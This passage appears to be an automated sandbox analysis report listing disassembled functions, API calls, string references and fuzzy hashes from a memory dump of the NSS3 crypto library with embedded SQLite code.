PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,6C9B7645), ref: 6C9A38C9

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: HashTable$Error$DestroyLock$CountCriticalInitializeLastSectionSpincallocfreememset
String ID:
API String ID: 3316637992-0
Opcode ID: e8eac47c7a7a33a402cd79a2fd81e577bda9c78f2db6efffd2dee8dcfc74a928
Instruction ID: 0b26569dd3b2c1f7aa2a6450cc59d69174ef61836251ff7e76c9c85fb5e7cd7c
Opcode Fuzzy Hash: e8eac47c7a7a33a402cd79a2fd81e577bda9c78f2db6efffd2dee8dcfc74a928
Instruction Fuzzy Hash: 1F11A5A0B512126AFB046BB96C0AF67359CAB3160CF100539A919D3F41FB65D50DC7A2

Function 6C9CF810 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

PK11_DestroyContext.NSS3(?,00000001), ref: 6C9CF82E

Part of subcall function 6C9CCD80: free.MOZGLUE(?,6C9CD079,00000000,00000001), ref: 6C9CCDA5
Part of subcall function 6C9CCD80: PK11_FreeSymKey.NSS3(?,6C9CD079,00000000,00000001), ref: 6C9CCDB6
Part of subcall function 6C9CCD80: SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C9CD079,00000000,00000001), ref: 6C9CCDCF
Part of subcall function 6C9CCD80: DeleteCriticalSection.KERNEL32(?,6C9CD079,00000000,00000001), ref: 6C9CCDE2
Part of subcall function 6C9CCD80: free.MOZGLUE(?), ref: 6C9CCDE9

PK11_FreeSymKey.NSS3(?), ref: 6C9CF840
PK11_FreeSymKey.NSS3(?), ref: 6C9CF84B
PK11_FreeSymKey.NSS3(?), ref: 6C9CF856
PK11_FreeSymKey.NSS3(?), ref: 6C9CF861
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C9CF870
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C9CF87C
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C9CF888

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: K11_$Free$Item_UtilZfree$free$ContextCriticalDeleteDestroySection
String ID:
API String ID: 1794285729-0
Opcode ID: a7efc341ed7f20402d369d67d8a4afc8c8307b101e6240bfd17304946e9c75da
Instruction ID: 308f3a32de6296f50df33a661f0a65423a3af36e01f00322ba460d80aa65621c
Opcode Fuzzy Hash: a7efc341ed7f20402d369d67d8a4afc8c8307b101e6240bfd17304946e9c75da
Instruction Fuzzy Hash: D711C1B7A107045BD7215F25AC40A57BBB8EF3421DB104639E84A51F20F732F96D8692

Function 6CAB0860 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

PR_LogFlush.NSS3(00000000,00000000,?,?,6CAB7AE2,?,?,?,?,?,?,6CAB798A), ref: 6CAB086C

Part of subcall function 6CAB0930: EnterCriticalSection.KERNEL32(?,00000000,?,6CAB0C83), ref: 6CAB094F
Part of subcall function 6CAB0930: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?,?,6CAB0C83), ref: 6CAB0974
Part of subcall function 6CAB0930: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CAB0983
Part of subcall function 6CAB0930: _PR_MD_UNLOCK.NSS3(?,?,6CAB0C83), ref: 6CAB099F

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,00000000,00000000,?,?,6CAB7AE2,?,?,?,?,?,?,6CAB798A), ref: 6CAB087D
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,6CAB7AE2,?,?,?,?,?,?,6CAB798A), ref: 6CAB0892
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,6CAB798A), ref: 6CAB08AA
free.MOZGLUE(?,00000000,00000000,?,?,6CAB7AE2,?,?,?,?,?,?,6CAB798A), ref: 6CAB08C7
free.MOZGLUE(?,00000000,00000000,?,?,6CAB7AE2,?,?,?,?,?,?,6CAB798A), ref: 6CAB08E9
free.MOZGLUE(?,6CAB7AE2,?,?,?,?,?,?,6CAB798A), ref: 6CAB08EF
PR_DestroyLock.NSS3(?,00000000,00000000,?,?,6CAB7AE2,?,?,?,?,?,?,6CAB798A), ref: 6CAB090E

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: free$__acrt_iob_func$CriticalDestroyEnterFlushLockSectionfclosefflushfwrite
String ID:
API String ID: 3145526462-0
Opcode ID: 2d325b9bf5550e7c0b9f1f13efa19356cf4316e05bee4cd1003d68898ea6941d
Instruction ID: d26c4d1be7bc04310abf8baaa70735cb8af61f9e2c250fc1076c8caa10452e70
Opcode Fuzzy Hash: 2d325b9bf5550e7c0b9f1f13efa19356cf4316e05bee4cd1003d68898ea6941d
Instruction Fuzzy Hash: DC11B2F1B023414BFF04ABA9DE4974A377CBB5225CF1C0128E416A7A40DB32E994CBD2

Function 6C9A3C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6CA1460B,?,?), ref: 6C9A3CA9
EnterCriticalSection.KERNEL32(?), ref: 6C9A3CB9
PL_HashTableLookup.NSS3(?), ref: 6C9A3CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6C9A3CD6
PR_Unlock.NSS3 ref: 6C9A3CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6C9A3CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C9A3D03
PR_Unlock.NSS3 ref: 6C9A3D15

Part of subcall function 6CA4DD70: TlsGetValue.KERNEL32 ref: 6CA4DD8C
Part of subcall function 6CA4DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CA4DDB4

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: 9f9c5870b7f229a94ee83bc78b0ab93d584d3f4e5eb44e44bb0e44cb11881ff6
Instruction ID: 80841d005d874de521a4dcae6128a9581304c7d5301af8f5adaf7ce277609561
Opcode Fuzzy Hash: 9f9c5870b7f229a94ee83bc78b0ab93d584d3f4e5eb44e44bb0e44cb11881ff6
Instruction Fuzzy Hash: 6911007AF00605A7DB011B74EC058A67A7CFB2225CB188134ED1C53B11FB21D95EC7D1

Function 6CABB850 Relevance: 12.0, APIs: 8, Instructions: 47COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,?,6CAB7AF9,?,?,?,?,?,?,?,?,6CAB798A), ref: 6CABB862
free.MOZGLUE(?,?,6CAB7AF9,?,?,?,?,?,?,?,?,6CAB798A), ref: 6CABB869
DeleteCriticalSection.KERNEL32(?,00000000,?,6CAB7AF9,?,?,?,?,?,?,?,?,6CAB798A), ref: 6CABB88A
free.MOZGLUE(?,?,6CAB7AF9,?,?,?,?,?,?,?,?,6CAB798A), ref: 6CABB891
DeleteCriticalSection.KERNEL32(6CAB798A), ref: 6CABB8B9
free.MOZGLUE(?), ref: 6CABB8C0
DeleteCriticalSection.KERNEL32(?,00000000,?,6CAB7AF9,?,?,?,?,?,?,?,?,6CAB798A), ref: 6CABB8E1
free.MOZGLUE(?,?,6CAB7AF9,?,?,?,?,?,?,?,?,6CAB798A), ref: 6CABB8E8

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: af8e67a5b91909ed444e23b57cb0c12e678e51d67d7709fb2b7c838bded68b5d
Instruction ID: 010a4c82aae7cdae198d5736c221b8e318378dbb8380e65f570dae80b707bd61
Opcode Fuzzy Hash: af8e67a5b91909ed444e23b57cb0c12e678e51d67d7709fb2b7c838bded68b5d
Instruction Fuzzy Hash: 561156B1B027259BDE20EFA1E40C747377CBB06758F048118E92697540D335E55ECBD6

Function 6C9A9C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9C11C0: PR_NewLock.NSS3 ref: 6C9C1216

free.MOZGLUE(?), ref: 6C9A9E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9A9E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9A9E4E
TlsGetValue.KERNEL32 ref: 6C9A9EA2

Part of subcall function 6C9B9500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6C9B9546

EnterCriticalSection.KERNEL32(?), ref: 6C9A9EB6
PR_Unlock.NSS3 ref: 6C9A9ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C9A9F18

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: 2c430ebdd30728ab8db68e6c96bbd04dd16fe6ad3845d1e9d8803a894490c5db
Instruction ID: 06e014e4e20067d478dce3ba681dc5a80772d58b5233baca02a078a3fa842a49
Opcode Fuzzy Hash: 2c430ebdd30728ab8db68e6c96bbd04dd16fe6ad3845d1e9d8803a894490c5db
Instruction Fuzzy Hash: C8812B75A00301AFEB009F74DC40AAB77A9FF6524CF154528EC5997B02FB32E859C7A1

Function 6C9BDCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9BAB10: DeleteCriticalSection.KERNEL32(D958E852,6C9C1397,5B5F5EC0,?,?,6C9BB1EE,2404110F,?,?), ref: 6C9BAB3C
Part of subcall function 6C9BAB10: free.MOZGLUE(D958E836,?,6C9BB1EE,2404110F,?,?), ref: 6C9BAB49
Part of subcall function 6C9BAB10: DeleteCriticalSection.KERNEL32(5D5E6CBB), ref: 6C9BAB5C
Part of subcall function 6C9BAB10: free.MOZGLUE(5D5E6CAF), ref: 6C9BAB63
Part of subcall function 6C9BAB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C9BAB6F
Part of subcall function 6C9BAB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C9BAB76

TlsGetValue.KERNEL32 ref: 6C9BDCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6C9BDD0E
PK11_IsFriendly.NSS3(?), ref: 6C9BDD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6C9BDD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9BDE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C9BDEA6
PR_Unlock.NSS3(?), ref: 6C9BDF08

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: 7e42eac09cbe49aeafea0f1f1b247636058e0cbe28a0e153761e30b4c897f296
Instruction ID: 34bc41c1029e2e4d3a9dc8d62d227771be87af24f601749876cefeaaa871c26d
Opcode Fuzzy Hash: 7e42eac09cbe49aeafea0f1f1b247636058e0cbe28a0e153761e30b4c897f296
Instruction Fuzzy Hash: CA91E7B6A00105AFDB00CF68D881BABB7B5FF64308F158029ED19ABB45E731E955CBD1

Function 6C975FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6CA5BB62,00000004,6CAC4CA4,?,?,00000000,?,?,6C9331DB), ref: 6C9760AB
sqlite3_config.NSS3(00000004,6CAC4CA4,6CA5BB62,00000004,6CAC4CA4,?,?,00000000,?,?,6C9331DB), ref: 6C9760EB
sqlite3_config.NSS3(00000012,6CAC4CC4,?,?,6CA5BB62,00000004,6CAC4CA4,?,?,00000000,?,?,6C9331DB), ref: 6C976122

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C976095
misuse, xrefs: 6C97609F
%s at line %d of [%.10s], xrefs: 6C9760A4

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: ed4d3d6fb73db0dcae9b111ae855ec1fa554ac26200326e74e08ef37f6d641f4
Instruction ID: 00e19cc3f92a4bafdcdc14e6d8c3bb98ebc0d3244b884e22ae99e8bfe21b6752
Opcode Fuzzy Hash: ed4d3d6fb73db0dcae9b111ae855ec1fa554ac26200326e74e08ef37f6d641f4
Instruction Fuzzy Hash: 35B16C70E4574BCFCB08CF68D2849A9B7F0FB5E304B058159D519AB362E730AA85CFA5

Function 6C924F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C924FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C9251BB

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C9251A5
unable to delete/modify user-function due to active statements, xrefs: 6C9251DF
misuse, xrefs: 6C9251AF
%s at line %d of [%.10s], xrefs: 6C9251B4

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: a981a3ae7cdad3eef21d27c8f94396d11eec326a4a291ba6f1ceb6817396c82d
Instruction ID: 6fbe6c707998e52b18441d866e401afa7699274182017ab5e2b7adc6ee25bbef
Opcode Fuzzy Hash: a981a3ae7cdad3eef21d27c8f94396d11eec326a4a291ba6f1ceb6817396c82d
Instruction Fuzzy Hash: 6A7190B162420ADFDB00CE15CD80B9AB7B9BF48308F054524FD599BA8DD739ED54CBA1

Function 6C992D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C992D69

Strings

winTruncate1, xrefs: 6C992EBE
winSeekFile, xrefs: 6C992E9C
winUnmapfile2, xrefs: 6C992F7F
winTruncate2, xrefs: 6C992EF8
winUnmapfile1, xrefs: 6C992F55

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: ba48f6905d9e2b53207a22dff9e6900d9fe27ac2e877e71ddd94f767cfdc114b
Instruction ID: 46d0f03cae25c4ac6c57010cd9a4e0b3990164dca73923e5be69bf21d7406c3c
Opcode Fuzzy Hash: ba48f6905d9e2b53207a22dff9e6900d9fe27ac2e877e71ddd94f767cfdc114b
Instruction Fuzzy Hash: CC61BD71B007059FDB04CF68D894BAA77B5FB49314F14822CE91AAB790EB31ED46CB91

Function 6CA129E0 Relevance: 10.7, APIs: 7, Instructions: 181COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,00000000,00000000,?,?,6CA121DD,00000000), ref: 6CA12A47
SEC_ASN1EncodeInteger_Util.NSS3(?,6CA121DD,00000002,00000000,00000000,?,?,6CA121DD,00000000), ref: 6CA12A60
SECOID_FindOIDByTag_Util.NSS3(00000000,?,?,?,?,00000000,00000000,?,?,6CA121DD,00000000), ref: 6CA12A8E
PK11_KeyGen.NSS3(00000000,?,00000000,83F089CA,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CA12AE9
PORT_ArenaMark_Util.NSS3(00000000), ref: 6CA12B0D
PK11_FreeSymKey.NSS3(?), ref: 6CA12B7B
PK11_FreeSymKey.NSS3(?), ref: 6CA12BD6

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: K11_Util$Free$ArenaEncodeErrorFindInteger_Mark_Tag_
String ID:
API String ID: 1625981074-0
Opcode ID: d9b3ab33f4c9c646ae6946c87de0120390d39630a93e86df2434349ec81f0571
Instruction ID: b3a17c2a9392b362f2f47b6254434720673750409c548be275e3ba72f2f993da
Opcode Fuzzy Hash: d9b3ab33f4c9c646ae6946c87de0120390d39630a93e86df2434349ec81f0571
Instruction Fuzzy Hash: C1516BB1E082059BEB00CF65DC84BAB77B4AF1532CF190224ED1957F81E731E989CB91

Function 6CA0FF10 Relevance: 10.7, APIs: 7, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,?,?,00000000,00000000,?,6CA0F165,?), ref: 6CA0FF4B
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,00000000,00000000,?,6CA0F165,?), ref: 6CA0FF6F
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6CA0F165,?), ref: 6CA0FF81
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6CA0F165,?), ref: 6CA0FF8D
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,?,?,00000000,00000000,?,6CA0F165,?), ref: 6CA0FFA3
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,6CA0F165,6CAD219C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA0FFC8
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,?,6CA0F165,?), ref: 6CA100A6

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_memset$EncodeFreeItem_
String ID:
API String ID: 204871323-0
Opcode ID: aae9934b97ad99298c883e02eb69983ed59c5b3791da1f7d523416a7d7d5e0d2
Instruction ID: 5e20fd0452b44b1a9dfce3516d3fa878f17f3e9da5d488e35fcbde2a8fb131b1
Opcode Fuzzy Hash: aae9934b97ad99298c883e02eb69983ed59c5b3791da1f7d523416a7d7d5e0d2
Instruction Fuzzy Hash: 37512471E082559FDB108F59C8807AEB7B5FF49358F294229ED59A7B40D331ACA4CBD0

Function 6C9CDEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C9CDF37
EnterCriticalSection.KERNEL32(?), ref: 6C9CDF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9CDF96
PR_SetError.NSS3(00000000,00000000), ref: 6C9CE02B
PR_Unlock.NSS3(?), ref: 6C9CE07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C9CE090
PR_Unlock.NSS3(?), ref: 6C9CE0AF

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
